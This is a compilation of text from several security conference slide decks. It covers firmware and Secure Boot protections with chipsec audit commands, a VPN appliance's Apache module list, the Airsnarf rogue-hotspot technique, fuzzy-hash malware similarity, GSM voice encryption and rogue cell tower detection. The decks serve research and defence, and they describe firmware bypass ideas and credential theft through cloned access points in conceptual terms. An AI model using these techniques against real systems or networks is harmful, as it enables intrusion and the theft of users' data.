Windows Boot Loader Kernel drivers Windows ELAM 3rd party drivers Apps The Windows uses the UEFI to load the Hypervisor and Secure Kernel. Acts on drivers that are executed before Windows being loaded and initialized. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 48 • Remember: a firmware is composed by many regions such as Flash Descriptors, BIOS, ME (Management Engine), GbE and ACPI EC. Descriptors GbE ME ACPI BIOS ME: has full access to the DRAM, invisible at same time, is always working (even then the system is shutdown) and has access to network interface. Conclusion: a nightmare. ROM + FW (Manifest+ Modules) ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 49 • Intel Boot Guard (controlled by ME), introduced by Intel, is used to validate the boot process through flashing the public key of the BIOS signature into FPFs (Field Programmable Fuses) from Intel ME. • Obviously, if vendors left closemnt fuse unset, so it could be lethal. • Of course, the SPI region must be locked and the Boot Guard configuration must be set against a SMM driver rootkit. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 50 CPU boot ROM BG startup Authenticated Code Module Loaded into Authenticated Code RAM SEC + PEI (IBB) Verifies the IBB BIOS • Public key’s hash, used for verifying the signature of the code with the ACM, is hard-coded within the CPU. • It almost impossible to modify the BIOS without knowing the private key. • At end, it works as a certificate chain. SPI Flash Memory IBB verifies the BIOS content ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 51 Additionally, BIOS Guard running in the SMM, protects against not- authorized: • SPI Flash Access (through BIOS Guard Authenticated Code Module) prevents an attacker to escalate privileges to SMM by writting a new image to SPI. • BIOS update attacker (through a DXE driver) could update the BIOS to a flawed BIOS version. • Boot infection/corruption. BIOS Guard allows that only trusted modules (by ACM) are able to modify the SPI flash memory against rookit implants. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 52 • Secure Boot: • Protect the entire path shown previously against bootkit infection. • Protects key components from kernel loading, key drivers and important system files, requesting a valid digital signature. • Prevents loading of any code that are not associated a valid digital signature. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 53 • Two essential items on Secure Boot are: • Platform Key (PK – must be valid), which establishes a trust relationship between the platform owner and the platform firmware, verifies Key Exchange Key (KEK). • KEK, which establishes a trust relationship between the OS and the platform firmware, verifies: • Authorized Database (db) contains authorized signing certificates and digital signatures • Forbidden Database (dbx) contains forbidden certificates and digital signatures. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 54 • Obviously, if the Platform Key is corrupted, everything is not valid anymore because the SecureBoot turns out disabled when this fact happens. • Unfortunately, few vendors continue storing important Secure Boot settings in UEFI variables. However, if these UEFI variable are exploited through ring 0/-2 malware or bootkit, so the SecureBoot can be disabled. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 55 • Without ensuring the UEFI image integrity, a rookit could load another UEFI image without being noticed. • UEFI BIOS supports TE (Terse Executable) format (signature 0x5A56 - VZ). • As TE format doesn’t support signatures, BIOS shouldn’t load this kind of image because Signature checking would be skipped. • Therefore, a rootkit could try to replace the typical PE/COFF loader by a TE EFI executable, so skipping the signature check and disabling the Secure Boot. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 56 Additionally, new releases of Windows 10 (version 1607 and later) has introduced interesting SMM protections as Windows SMM Security Mitigation Table (WSMT). In Windows 10, the firmware executing SMM must be “authorized and trusted” by VBS (Virtualized Based Security). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 57 • These SMM Protections flags that can be used to enable or disable any WSMT feature. • FIXED_COMM_BUFFERS: it guarantees that any input/output buffers be filled by value within the expected memory regions. • SYSTEM_RESOURCE_PROTECTION: it works as an indication that the system won’t allow out-of-band reconfiguration of system resources. • COMM_BUFFER_NESTED_PTR_PROTECTION: it is a validation method that try to ensure that any pointer whith the fixed communication buffer only refer to address ranges that are within a pre-defined memory region. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 58 • chipsec_util.py spi dump spi.bin • chipsec_uti.py decode spi.bin Is the customer Safe? ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 59 chipsec_main --module common.bios_wp ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 60 chipsec_main.py -m common.bios_smi ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 61 • The BIOS_CNTL register contains: • BIOS Write Enable(BWE) if it is set to 1, an attacker could write to SPI flash. • BIOS Lock Enable (BLE) if it is set to 1, it generates an SMI routine to run just in case the BWE goes from 0 to 1. • Of course, there should be a SMM handler in order to prevent setting the BWE to 1. • What could happen if SMI events were blocked? • The SMM BIOS write protection (SMM_BWP) , which protects the entire BIOS area, is not enabled. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 62 chipsec_main.py -m common.spi_lock ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 63 • SPI Protect Range registers protect the flash chip against writes. • They control Protected Range Base and Protected Range Limit fields, which set regions for Write Protect Enable bit and Read Protect Enable bit. • If the Write Protect Enable bit is set, so regions from flash chip that are defined by Protected Range Base and Protected Range Limit fields are protected. • However, SPI Protect Range registers DO NOT protect the entire BIOS and NVRAM. • In a similar way to BLE, the HSFSS.FLOCKDN bit (from HSFSTS SPI MMIO Register) prevents any change to Write Protect Enable bit. Therefore, malware can’t disable the SPI protected ranges for enabling access to the SPI flash memory. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 64 python chipsec_main.py --module common.bios_ts ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 65 • Top Swap Mode, which is enabled by BUC.TS in Root Complex range, is a feature that allows fault-tolerant update of the BIOS boot-block. • Therefore, when Top Swap Configuration and swap boot-block range in SPI are not protected or even locked, any malware could force an execution redirect of the reset vector to backup bootblock because CPU will fetch the reset vector at 0xFFFEFFF0 instead of 0xFFFFFFF0 address. • SMRR (System Management Range Registers) blocks the access to SMRAM (range of DRAM that is reserved by BIOS SMI handlers) while CPU is not in SMM mode, preventing it to execute any SMI exploit on cache. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 66 chipsec_main.py -m common.smrr ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER CONCLUSION DEFCON 2018 - USA 67 • Most security professionals haven being facing problems to understand how to analyze malicious drivers because the theory is huge and not easy. • Real customers are not awareness about ring -2 threats and they don’t know how to update systems’ firmwares. • All protections against implants are based on integrity (digital certificate and signature). However, what would happen whether algoritms were broken (QC - quantum computation)? ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER THANK YOU FOR ATTENDING MY TALK! LinkedIn: http://www.linkedin.com/in/aleborges Twitter: @ale_sp_brazil Website: http://blackstormsecurity.com E-mail: alexandreborges@blackstormsecurity. com DEFCON 2018 - USA 68 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER • Malware and Security Researcher. • Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics, Rootkits and Software Exploitation. • Member of Digital Law and Compliance Committee (CDDC/ SP) • Reviewer member of the The Journal of Digital Forensics, Security and Law. • Refereer on Digital Investigation:The International Journal of Digital Forensics & Incident Response • Instructor at Oracle, (ISC)2 and Ex-instructor at Symantec.
pdf
cat /config/etc/sangfor/ssl/httpd.conf | grep -e "^\s*LoadModule" ​ ​ mpm_worker_module modules/mod_mpm_worker.so // -httpd.conf 0x00 httpd.conf auth_kerb_module modules/mod_auth_kerb.so //kerberos authn_core_module modules/mod_authn_core.so //httpbasicldap authz_user_module modules/mod_authz_user.so // authz_core_module modules/mod_authz_core.so // access_compat_module modules/mod_access_compat.so //ip auth_basic_module modules/mod_auth_basic.so //basic socache_shmcb_module modules/mod_socache_shmcb.so // reqtimeout_module modules/mod_reqtimeout.so // filter_module modules/mod_filter.so // deflate_module modules/mod_deflate.so // mime_module modules/mod_mime.so // env_module modules/mod_env.so //apache expires_module modules/mod_expires.so // headers_module modules/mod_headers.so // setenvif_module modules/mod_setenvif.so //cgi proxy_module modules/mod_proxy.so // ssl_module modules/mod_ssl.so //sslv3tls v1.x unixd_module modules/mod_unixd.so // dir_module modules/mod_dir.so // alias_module modules/mod_alias.so //aliasscriptalias rewrite_module modules/mod_rewrite.so //url LoadModule proxy_http_module modules/mod_proxy_http.so //http LoadModule svpn_web_module modules/mod_svpn_web.so //proxy twf_module modules/mod_twf.so mdm_module modules/mod_mdm.so regex_module modules/mod_regex.so mvcon_module modules/mod_mvcon.so comm_check_module modules/mod_comm_check.so // service_downgrade_module modules/mod_service_downgrade.so // DocumentRoot "/sf/app/apache_portal/htdocs" <Directory "/sf/app/apache_portal/htdocs"> Options -Indexes +FollowSymLinks AllowOverride None Require all granted </Directory> <IfModule proxy_module> ProxyRequests Off ProxyBadHeader Ignore <Directory proxy:*> Order deny,allow Deny from all Allow from 127.0.0.1 </Directory> </IfModule> <IfModule dir_module> DirectoryIndex index.csp index.sin index.html </IfModule> ScriptAlias /cgi-bin/ "/sf/app/apache_portal/cgi-bin/" <FilesMatch "^\.tml"> Require all denied </FilesMatch> ​ svpn_web_module modules/mod_svpn_web.so //proxy twf_module modules/mod_twf.so mdm_module modules/mod_mdm.so regex_module modules/mod_regex.so mvcon_module modules/mod_mvcon.so comm_check_module modules/mod_comm_check.so // service_downgrade_module modules/mod_service_downgrade.so // twf_module modules/mod_twf.so svpn_web_module modules/mod_svpn_web.so ​ mod_twf.so 0x01
pdf
Airsnarf Why 802.11b Hotspots Ain’t So Hot. Coming up... • Disclaimer • Example hotspot setup & weakness • Rogue APs • Demo of Airsnarf • Defense strategies Disclaimer • This presentation and example software are intended to demonstrate the inherent security flaws in publicly accessible wireless architectures and promote the use of safer authentication mechanisms for public 802.11b hotspots. Viewers and readers are responsible for their own actions and strongly encouraged to behave themselves. Example HotSpot Setup • Visit hotspot provider website and create login • Visit hotspot with wireless device • Power on, associate, get IP, DNS, etc. • Open web browser and get redirected • Login, backend authentication & billing, welcome to the Internet Is this secure? Access Point SSID: “goodguy” SSID: “badguy” Stronger or Closer Access Point “ANY” Wi-Fi Card SSID: “goodguy” “badguy” Rogue APs? • Rogue AP = an unauthorized access point • Traditional – corporate back-doors – corporate espionage • Hotspots – DoS – theft of user credentials – AP “cloning” Hotspot Rogue AP Mechanics • “Create a competing hotspot.” • AP can be actual AP or HostAP • Create or modify captive portal behind AP • Redirect users to “splash” page • DoS or theft of user credentials • Bold attacker will visit ground zero. • Not-so-bold will drive-by with an amp. Airsnarf • Nothing special • Simplifies HostAP, httpd, dhcpd, Net::DNS, and iptables setup • Simple example rogue AP • Demonstration Defense Strategies • Local AP awareness • Customer education • One-time authentication mechanisms • Don’t charge for hotspot access? Links • Airsnarf - http://airsnarf.shmoo.com • HostAP - http://hostap.epitest.fi/ • Red Hat Kernel w/ HostAP - http://www.cat.pdx.edu/~baera/redhat_hostap/ • Looking for hotspots? - http://www.hotspotlist.com/ • Other “wireless portal software” - http://www.personaltelco.net/index.cgi/PortalSoftware Questions?
pdf
Automated Malware Similarity Analysis Daniel Raygoza General Dynamics Advanced Information Systems 1 Friday, June 26, 2009 Disclaimers (they seem like a good idea) • This project and presentation are my own personal work, and they are not a product of (or approved by) General Dynamics (GD) or its customers. • Anything I say is my own opinion, not GD’s or its customers. 2 Friday, June 26, 2009 Problem • In-depth malware analysis is expensive • Difficult to reduce duplicated effort as teams grow • Anything not automated would probably counter benefits 3 Friday, June 26, 2009 Target Niche • Teams that: • Routinely unpack and analyze incoming samples • Want to avoid duplicate analysis • Looking for similarity links 4 Friday, June 26, 2009 Initial Idea • Use IDA for auto-analysis of all samples • Break samples into functions • Calculate a fuzzy hash of all functions • Calculate the similarity between all functions in the entire system • Weight and aggregate similarity scores between a given sample and all other samples in the system 5 Friday, June 26, 2009 Fuzzy Hashing In A Few Seconds • Fuzzy hashing, created by Jesse Kornblum, based on spamsum by Andrew Tridgell • The output hash value is tolerant of changes in the input • Hash values compared against each other to compute similarity 6 Friday, June 26, 2009 On Fuzzy Hashing • Full binary fuzzy hashing of malware doesn’t perform well in many cases (packing, reordering of functions, partial code reuse, etc). • Small files tend to be heavy on structure and light on code, causes a lot of mismatches. • Many issues are addressed by using fuzzy hashing at the function level on unpacked binaries, though it’s still not perfect. • If we can expect similarity between any extracted byte-streams to be meaningful, we can apply fuzzy hashing effectively. 7 Friday, June 26, 2009 Existing Research • Automated malware similarity analysis definitely isn’t new • There are many published papers on malware similarity analysis using a variety of techniques, some of which seem highly effective • Very few have freely available implementations • The ideas are good, but we need to way to practically apply them 8 Friday, June 26, 2009 Non-Free Tools • Zynamics BinDiff/VXClass • HBGary DDNA • Various private tools 9 Friday, June 26, 2009 Refined Idea • Create an open source framework to support the implementation of a variety of similarity scoring systems • Begin with fuzzy hashing, move on to other more complex algorithms • Make all of the similarity data available in abstract form, allowing for custom visualization 10 Friday, June 26, 2009 Limitations • Automation doesn’t include unpacking, I’m not nearly awesome enough to write a generic unpacker. However it should be easy enough to integrate your organizations own unpacker(s) • Fuzzy hashing has obvious limitations, but the implementation of other algorithms should address this • Currently relies on IDA for disassembly • Like virtually any other implementation it can be subverted by malware authors 11 Friday, June 26, 2009 Limitations • The open source framework would not be a general purpose malware classification or identification system (you may want to check out Yara) • Not 100% automated, lacks a general purpose unpacker 12 Friday, June 26, 2009 Implementation • Python (ingest, backend) • MySQL • PHP (frontend) • Hopefully OS agnostic, but developed on Linux 13 Friday, June 26, 2009 Components • Ingest - Uses abstracted disassembler to retrieve function blobs. Calls plugins to retrieve additional information to be stored with the sample (PE information, PEiD, strings, disassembly, decompilation, strings, etc). Packages data to be sent to database. • Backend - Takes the general purpose data packaged by the Ingest module and applies all of the relevant similarity algorithms (implemented as plugins), stores similarity results in database. • Frontend - Makes the database contents available via XML. 14 Friday, June 26, 2009 Other Ideas • Support ingesting IDB files directly, allowing analysts to fix up the IDB prior to analysis • Selectively null out operands that are likely to vary between instances of code, then feed this data to the similarity algorithms 15 Friday, June 26, 2009 Work To Be Done • Implement additional similarity algorithms • Find the bugs that certainly exist • Create a prettier front-end • Better documentation • Installer 16 Friday, June 26, 2009 Some Early Results • Stats to come... 17 Friday, June 26, 2009 Turbo Tool Demo... • ... crossing fingers 18 Friday, June 26, 2009 Getting It • Project homepage at http://www.raygoza.net/fuzzball/ 19 Friday, June 26, 2009 Thank You • Kevan, Mike, Joe, General Dynamics, and others. • Smarter individuals from whom I’ve stolen/reused ideas. 20 Friday, June 26, 2009 References • Yara: http://code.google.com/p/yara-project/ • Fuzzy Hashing – Jesse Kornblum: http://dfrws.org/2006/proceedings/12-Kornblum-pres.pdf • Fuzzy Clarity – Digital Ninja: http://digitalninjitsu.com/downloads/Fuzzy_Clarity_rev1.pdf • Spamsum – Andrew Tridgell: http://digitalninjitsu.com/downloads/Fuzzy_Clarity_rev1.pdf • ssdeep – Jesse Kornblum: http://ssdeep.sourceforge.net/ 21 Friday, June 26, 2009
pdf
End End--to to--End End Voice Encryption Voice Encryption over GSM: over GSM: A Different Approach Wesley Tanner Nick Lane-Smith Keith Lareau www.CellularCrypto.com About Us: Wesley Tanner - Systems Engineer for a Software-Defined Radio (SDRF) company - B.S. Electrical Engineering from RPI Nick Lane-Smith - Security Engineer for a computer company in Cupertino… - B.S. Computer Science from UCSB Keith Lareau (not present) - B.S. Computer Science and Computer Systems Engineering from RPI CellularCrypto.com Presentation Overview • Motivation, the need for Cellular Crypto • Current market offerings – Operational details • A new approach - GSM Voice Channel Modem – Details of the voice channel – Radio interface – Traditional PSTN modems over GSM • Cryptographic Design • Demonstrations CellularCrypto.com Motivation Where is End-to-End voice protection over cellular? Why hasn’t it become a reality for the average consumer? CellularCrypto.com Copyright (c} Mozzerati GSM Overview GSM Cryptography A3 - Authentication algorithm for the GSM security model A5 - The stream cipher used for voice- privacy A8 - Algorithm for voice-privacy key generation. CellularCrypto.com A5 weaknesses Alex Biryukov, Adi Shamir and David Wagner demonstrated breaking a A5/1 key in less than a second on a PC with 128 MB RAM. Elad Barkhan, Eli Biham and Nathan Keller have shown a ciphertext-only attack against A5/2. CellularCrypto.com Moral of the story… GSM Cryptography provides limited, if any, true security to your voice channel. Something additional is needed. CellularCrypto.com The NEED for Cellular Crypto Cellular phones have almost completely supplanted PSTN. Cellular companies do not provide ANY meaningful protection for voice traffic. The ease of intercepting voice traffic is astounding… And people do it all the time! Aisow.com The NEED for Cellular Crypto Two major classes of intercepts: Government Perpetrated - Authorized and Unauthorized - Secret (FISA) and Reported - Local, State and Federal - Not just your own government - Large portions of Telecom infrastructure in the USA are owned by Foreign corporations, supported by Foreign and possibly adversarial governments. (Israel, China, etc.) CellularCrypto.com The NEED for Cellular Crypto Two major classes of intercepts: Non-government Perpetrated - Private Investigators - Business Partners - Economic Espionage SecurTelecom.com CellularCrypto.com The NEED for Cellular Crypto Government Intercept - Probably the most common - Undetectable: - They don’t waste time intercepting wireless transmission. CALEA Act allows to them execute intercept remotely via the telecom provider directly. - “Untraceable” prepaid/disposable is no protection if you exhibit same calling pattern - Presumably highest level (NRO, NSA …) can perform voice match as well CellularCrypto.com The NEED for Cellular Crypto Let’s look at the data for reported intercepts In 2004: 1,710 Authorized intercepts 1,507 Targeted “Portable device” (Cellular) CellularCrypto.com The NEED for Cellular Crypto From U.S. Courts 2004 Wiretap Report: The NEED for Cellular Crypto Cellular intercepts have doubled since 2000, the trend appears to suggest that the ease of intercepts is the reason behind growth. Of note, there is no jump after Sept. 11th, which implies FISA intercepts are used for intercepts relating to terrorism. The overall number of intercepts is most likely orders of magnitude greater. CellularCrypto.com The NEED for Cellular Crypto CellularCrypto.com • GSM Spec TS 33.106 • Interception function should not alter the target’s service or provide indication to any party involved. • Output ‘Product’ and/or ‘Network related data’ • Network related data - location, type of call, all party’s numbers. • Product - speech, user data, fax or SMS. CellularCrypto.com Diagram of a Lawful Intercept Copyright © ETSI Moral of the story…2 Even if the GSM crypto sufficiently protected the handset->tower, network transit layers are capable of being intercepted. Only End-to-End crypto can provide sufficient security. CellularCrypto.com Current Market Offerings Various GSM Crypto products: –Cryptophone G10 –Sectera by General Dynamics (govt. contract) –Ancort Crypto Smart Phone –Several “vapor” products CellularCrypto.com Future Narrowband Digital Terminal • FNBDT is a new US govt. standard for secure voice communication • Needs minimum bandwidth of 2400 Hz. • Replacement for STU-III • Uses MELP for voice compression. CellularCrypto.com Problems with Current Products They all use the GSM circuit switched data (CSD) channel •This service is not part of the normal consumer- level package in all places. •CSD is quickly being replaced by packet switched services, which do not have the necessary performance (currently) for a quality voice link. •Long call setup times •High latency, but not as bad as GPRS CellularCrypto.com Problems with Current Products CSD is meant to carry data, not voice. Voice can tolerate more transmission errors and does not require ARQ. High latency and retransmission rather than dropping a frame make data channel insufficient for voice. CellularCrypto.com Problems with Current Products Some are only available for government or government contractor use, or are very expensive. The solution needs to be available to everyone. CellularCrypto.com So, what then? Give up? Wait for 3G? Will 3G even be sufficient? CellularCrypto.com Proposed Solution Develop a modem that works over the GSM voice channel. - Latency optimized - Frame dropping A fun and challenging technical problem to solve is a side benefit. CellularCrypto.com Technical Details of the GSM Voice Channel CellularCrypto.com The GSM Voice Channel The voice channel has lots of useful properties •Low latency •High availability •Friendly billing system from service providers. Use your standard voice minutes instead of possibly more expensive data packages. However, the voice channel is forgiving only for speech-like waveforms. CellularCrypto.com Description Parameter Parameter Number Number of bits Description Parameter Parameter number Number of bits LAR 1 1 6 LTP Lag 43 7 LAR 2 2 6 LTP gain 44 2 LAR 3 3 5 RPE grid positio 45 2 LAR 4 4 5 Block amplitude 46 6 LAR 5 5 4 RPE pulse 1 47 3 LAR 6 6 4 RPE pulse 2 48 3 LAR 7 7 3 RPE pulse 3 49 3 LAR 8 8 3 RPE pulse 4 50 3 LTP Lag 9 7 RPE pulse 5 51 3 LTP gain 10 2 RPE pulse 6 52 3 RPE grid position 11 2 RPE pulse 7 53 3 Block amplitude 12 6 RPE pulse 8 54 3 RPE pulse 1 13 3 RPE pulse 9 55 3 RPE pulse 2 14 3 RPE pulse 10 56 3 RPE pulse 3 15 3 RPE pulse 11 57 3 RPE pulse 4 16 3 RPE pulse 12 58 3 RPE pulse 5 17 3 RPE pulse 13 59 3 RPE pulse 6 18 3 LTP Lag 60 7 RPE pulse 7 19 3 LTP gain 61 2 RPE pulse 8 20 3 RPE grid positio 62 2 RPE pulse 9 21 3 Block amplitude 63 6 RPE pulse 10 22 3 RPE pulse 1 64 3 RPE pulse 11 23 3 RPE pulse 2 65 3 RPE pulse 12 24 3 RPE pulse 3 66 3 RPE pulse 13 25 3 RPE pulse 4 67 3 LTP Lag 26 7 RPE pulse 5 68 3 LTP gain 27 2 RPE pulse 6 69 3 RPE grid position 28 2 RPE pulse 7 70 3 Block amplitude 29 6 RPE pulse 8 71 3 RPE pulse 1 30 3 RPE pulse 9 72 3 RPE pulse 2 31 3 RPE pulse 10 73 3 RPE pulse 3 32 3 RPE pulse 11 74 3 RPE pulse 4 33 3 RPE pulse 12 75 3 RPE pulse 5 34 3 RPE pulse 13 76 3 RPE pulse 6 35 3 RPE pulse 7 36 3 RPE pulse 8 37 3 RPE pulse 9 38 3 RPE pulse 10 39 3 RPE pulse 11 40 3 RPE pulse 12 41 3 RPE pulse 13 42 3 RPE Parameters LTP Parameters RPE Parameters LTP Parameters RPE Parameters LTP Parameters RPE Parameters Filter Parameters LTP Parameters GSM Voice Channel Data Rate Calculation Total Bits 260 Frame rate (fps) 50 Data rate (kbps) 13 Full Rate Channel Properties Parameter Input Output bits per frame 2080 260 frames per second 50 50 data rate (kbps) 104000 13000 Compression ratio 8 CellularCrypto.com Full Rate Channel Properties • Regular Pulse Excitation - Long Term prediction - Linear Predictive Coder • 260 bits per frame • Bandwidth of 13 kbps • Input is 160, 13 bit uniform quantized PCM samples – 8 kHz sampling rate CellularCrypto.com Encoder Block Diagram Input Pre- processing signal Short term analysis filter Short term LPC analysis + RPE grid selection and coding (1) (2) LTP analysis Long term analysis filter + RPE grid decoding and positioning (4) (5) (3) - LTP parameters (9 bits/5 ms) Reflection coefficients coded as Log. - Area Ratios (36 bits/20 ms) RPE parameters (47 bits/5 ms) To radio subsystem (1) Short term residual (2) Long term residual (40 samples) (3) Short term residual estimate (40 samples) (4) Reconstructed short term residual (40 samples) (5) Quantized long term residual (40 samples) Decoder Block Diagram RPE grid decoding and positioning Reflection coefficients coded as Log. - Area Ratios (36 bits/20 ms) RPE parameters (47 bits/5 ms) From radio subsystem LTP parameters (9 bits/5 ms) + Short term synthesis filter Long term synthesis filter Post- processing Output signal CellularCrypto.com Voice packet structure • Some bits are protected for transmission over radio – Class A bits CRC protected – Class B/C bits sent uncoded • Class A bits are most important for intelligible voice. • RFC 3267 – Real-Time Transport Protocol (RTP) Payload Format and File Storage Format for the Adaptive Multi-Rate (AMR) and Adaptive Multi-Rate Wideband (AMR-WB) Audio Codecs CellularCrypto.com Properties of Speech (as related to GSM full rate codec) • Short term parameters – LPC • Long term prediction, computed based on the output of the short term filtering – Lag – Gain • Residual information – Calculated by the error in the estimated residual signal from the actual residual signal CellularCrypto.com Voice Samples - 8 kHz sample rate CellularCrypto.com Close-up Voice Samples CellularCrypto.com Name Receive rate (bps) Transmit rate (bps) Symbol rate (baud) Modulation Type Transmit carrier frequencies (Hz) Receive carrier frequencies (Hz) Bell 103 300 300 300 FSK 1270/1070 2225/2025 CCITT V.22 1200 1200 600 DPSK 1200 2400 CCITT V.32 4800 4800 2400 QAM 1800 1800 ITU V.34 33600 33600 3429 TCM 1800 1800 ITU V.92 53000 48000 8000 PCM N/A N/A Telephone Modem Modulation CellularCrypto.com 56 kbps Modem Description • V.90 uses PCM (pulse coded modulation) • Bits are sent from the transmitting modem over the digital telephone network to a receiving modem at the telco office. • Converted to analog voltage levels that are sent over the analog wire to your modem. CellularCrypto.com 56 kbps Modem Description • Voltages held on the line for 125 microseconds (8000 per second). • 8 bits per pulse equals 64 kbps – North American networks use 7 bits = 56 kbps • This is the theoretical rate, but is limited by the connection. CellularCrypto.com V.90 Modem Connection CellularCrypto.com 4PSK Modulator CellularCrypto.com 4PSK Signal Properties CellularCrypto.com Phase Modulation Over GSM Voice Channel Demonstration CellularCrypto.com Frequency Modulation Over GSM Voice Channel Demonstration Technical Details of Proposed GSM Voice Channel Modem and Cryptosystem CellularCrypto.com Katugampala, Villette, Kondoz (University of Surrey) Existing System CellularCrypto.com Proposed System Block Diagram CellularCrypto.com Encoder System Diagram CellularCrypto.com Decoder System Diagram CellularCrypto.com Generated speech channel output CellularCrypto.com Bit persistence in actual speech data 1000 frames CellularCrypto.com Speech Modem over GSM Voice Channel Demonstration Underlying Cryptosystem AES Block Cipher – Symmetric - Fixed 128-bit block size - 256-bit key Exchanged over modified Diffie-Hellman Adaptations to allow for frame drops - Incrementing counter instead of typical block chaining White Paper to be released during presentation. Conclusion/Questions
pdf
Discovering and Triangulating Rogue Cell Towers Eric Escobar, PE Security Engineer Reddit: jaycrew A bit about me: • Started off in Civil Engineering (MS, PE) • Always loved computers • Nerded out on all things wireless • Licensed HAM • I love to automate things • Chicken coop • Sprinklers • Caught the DEF CON bug • Wireless CTF A bit about what I do: • Security Engineer for Barracuda Networks • Incident Response • Pentesting • Red Team, Blue Team • Social Engineering • Phishing Campaigns • Bug bounty • Infrastructure scanning • Product team relations • 2FA, IPAM Here’s what we are going to cover: • What is a rogue cell tower? • Why should you care about rogue cell towers? • How can you detect a rogue cell tower? • How do you find a rogue cell tower? • How do you build a detector at home? • You’ve detected a rogue tower… now what? What is a rogue cell tower? • A device created (or purchased) by companies, governments or hackers that has the ability to trick your phone into thinking it’s a real cell phone tower. • Also known as IMSI catchers, interceptors, cell-site simulators, Stingrays, and probably a few more. • Rogue cell towers have the ability to collect information about you indirectly through metadata (call length, dialed numbers) • In some conditions can collect content of messages, calls, and data. How are cell simulators used today? In the United States: • IMSI-catchers are used by US law enforcement agencies to help locate, track, and collect data on suspects. • ACLU has identified 66 agencies and 24 states that own stingrays. • Used to monitor demonstrations in the US • Used in Chicago political protests • IMSI Catcher Counter-Surveillance Freddy Martinez • It’s possible to make an IMSI-catcher at home • DEFCON 18: Practical Cellphone Spying - Chris Paget How are cell simulators used today? Further reading: • EFF.org – Cell-site simulator FAQ • ACLU – “Stingray Tracking Devices: Who’s Got Them” How are cell simulators used today? Abroad: • Reported use in Ireland, UK, China, Germany, Norway, South Africa • Chinese spammers were caught sending spam and phishing messages. • Used by governments and corporations alike. What’s the IMSI in “IMSI-catcher”? • IMSI stands for International Mobile Subscriber Identity. • Is used as a means of identifying a device on the cell network. • Typically 15 digits long • Contains general information about you device (Country & Carrier) • Mobile Country Code – MCC • Mobile Network Code – MNC • Mobile Subscription Identification Number – MSIN What’s the IMSI in “IMSI-catcher”? MNC & MCC • All country codes (MCC) are available on Wikipedia • All network codes (MNC) are available on Wikipedia What’s an IMSI? IMSI = Unique identifier to your device Sample IMSI: 3 1 0 0 2 6 0 1 2 3 4 5 6 7 8 9 MCC MNC MSIN USA AT&T Unique Identifier Country Carrier Why you should care? – A short story • You are a fish about to be caught in one big net Why you should care? • Your phone will connect automatically to cell site simulators. • Thieves can steal your personal information. • Hacker’s can track where you go, who you’re talking to, and grab all sorts of other data about you. • Your digital life can be sniffed out of the air by anyone with some technical chops, and a laptop, and some hardware that is CHEAP. • Your company could be leaking trade secrets. • Your privacy is at risk. Why build a detector? • There are some great apps for Android phones and that have the ability to detect cell tower anomalies. • You need specific phone models & root for this to work • I wanted a device that met the following conditions: • Cheap ~$50/device • I wanted to set it and forget it. • I wanted to be alerted to any anomalies. • I wanted the ability to network multiple devices together. How do you detect a rogue cell tower? • Every cell tower (Base Transceiver Station, BTS) beacons out information about itself • ARFCN – Absolute radio frequency channel number • MCC – Mobile Country Code • MNC – Mobile Network Code • Cell ID – Unique identifier (within a large area) • LAC – Location area code • Txp – Transmit power maximum • Neighboring cells How do you detect a rogue cell tower? • Typically these values remain constant: • ARFCN – Absolute radio frequency channel number • MCC – Mobile Country Code • MNC – Mobile Network Code • Cell ID – Unique identifier (within a large area) • LAC – Location area code • Txp – Transmit power maximum • Neighboring cells • Power level How do you detect a rogue cell tower? • If values deviate from what’s expected it can mean that there is maintenance taking place. • It can mean changes are being made to the network. • It could also mean that there is a rogue cell tower is nearby! • The idea is to get a baseline of your cellular neighborhood over a period of time. • It would be like keeping an eye on the cars that come in and out of your neighborhood, after a while you begin to know which doesn’t belong. How do you detect a rogue cell tower? ARFCN Channel 0694 MCC Country Code 310 MNC Network Code 026 Cell ID Unique ID 1799 Power Level Constant How do you detect a rogue cell tower? • Examples: • A new tower (Unknown Cell ID), high transmission power • Mobile country code mismatch • Mobile network code mismatch • Frequency change • Location Area Code mismatch Why locate a tower? • So you’ve found a tower • Cell tower or white van? How do you locate a tower? • Combine unique cell tower data, receive power, and location. • One detector can be moved around with an onboard GPS • Readings of unique tower identifiers, power level and GPS coordinates allow for a single detector to create a map. • Some math, open source GIS software, and pretty colors can approximate locations of towers or possible rogue towers How do you locate a tower? (There’s probably a tower there) How do you locate a tower? • Multiple detectors with known locations 